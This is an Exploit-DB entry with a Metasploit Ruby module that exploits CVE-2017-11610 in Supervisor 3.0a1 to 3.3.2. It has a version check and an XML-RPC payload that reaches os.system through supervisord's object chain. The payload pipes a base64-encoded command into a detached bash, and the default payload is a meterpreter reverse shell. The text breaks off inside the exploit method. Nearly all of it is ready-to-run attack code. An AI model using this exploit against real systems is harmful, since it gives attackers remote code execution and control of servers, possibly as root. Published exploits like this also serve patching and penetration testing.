Exploit-DB #42779
Description: Supervisor 3.0a1 < 3.3.2 - XML-RPC (Authenticated) Remote Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2017-09-25
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Supervisor XML-RPC Authenticated Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
        can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
        The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
        may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been
        configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Calum Hutton <c.e.hutton@gmx.com>'
        ],
      'References'     =>
        [
          ['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
          ['URL', 'https://www.debian.org/security/2017/dsa-3942'],
          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'],
          ['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'],
          ['CVE', '2017-11610']
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          ['3.0a1-3.3.2', {}]
        ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'DefaultOptions' =>
        {
          'RPORT'         => 9001,
          'Payload'       => 'linux/x64/meterpreter/reverse_tcp',
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 19 2017',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(9001),
        OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
        OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
        OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']),
      ]
    )
  end

  def check_version(version)
    if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1')
      return true
    else
      return false
    end
  end

  def check

    print_status('Extracting version from web interface..')

    params = {
      'method'    => 'GET',
      'uri'       => normalize_uri('/')
    }
    if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
      print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
      params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
    end
    res = send_request_cgi(params)

    if res
      if res.code == 200
        match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/)
        if match
          version = Gem::Version.new(match[1])
          if check_version(version)
            print_good("Vulnerable version found: #{version}")
            return Exploit::CheckCode::Appears
          else
            print_bad("Version #{version} is not vulnerable")
            return Exploit::CheckCode::Safe
          end
        else
          print_bad('Could not extract version number from web interface')
          return Exploit::CheckCode::Unknown
        end
      elsif res.code == 401
        print_bad("Authentication failed: #{res.code} response")
        return Exploit::CheckCode::Safe
      else
        print_bad("Unexpected HTTP code: #{res.code} response")
        return Exploit::CheckCode::Unknown
      end
    else
      print_bad('Error connecting to web interface')
      return Exploit::CheckCode::Unknown
    end

  end

  def execute_command(cmd, opts = {})

    # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
    # Credit to the following urls for the os.system() payload
    # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
    # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
    xml_payload = %{<?xml version="1.0"?>
<methodCall>
  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  <params>
    <param>
      <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
    </param>
  </params>
</methodCall>}

    # Send the XML-RPC payload via POST to the specified endpoint
    endpoint_path = target_uri.path
    print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")

    params = {
      'method'        => 'POST',
      'uri'           => normalize_uri(endpoint_path),
      'ctype'         => 'text/xml',
      'headers'       => {'Accept' => 'text/xml'},
      'data'          => xml_payload,
      'encode_params' => false
    }
    if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
      print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
      params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
    end
    return send_request_cgi(params, timeout=5)

  end

  def exploit

    res = execute_cmdstager(:linemax => 800)

    if res
      if res.code == 401
        fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
      elsif res.code == 404
        fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
      else
        fail_with(Failure::UnexpectedReply, "U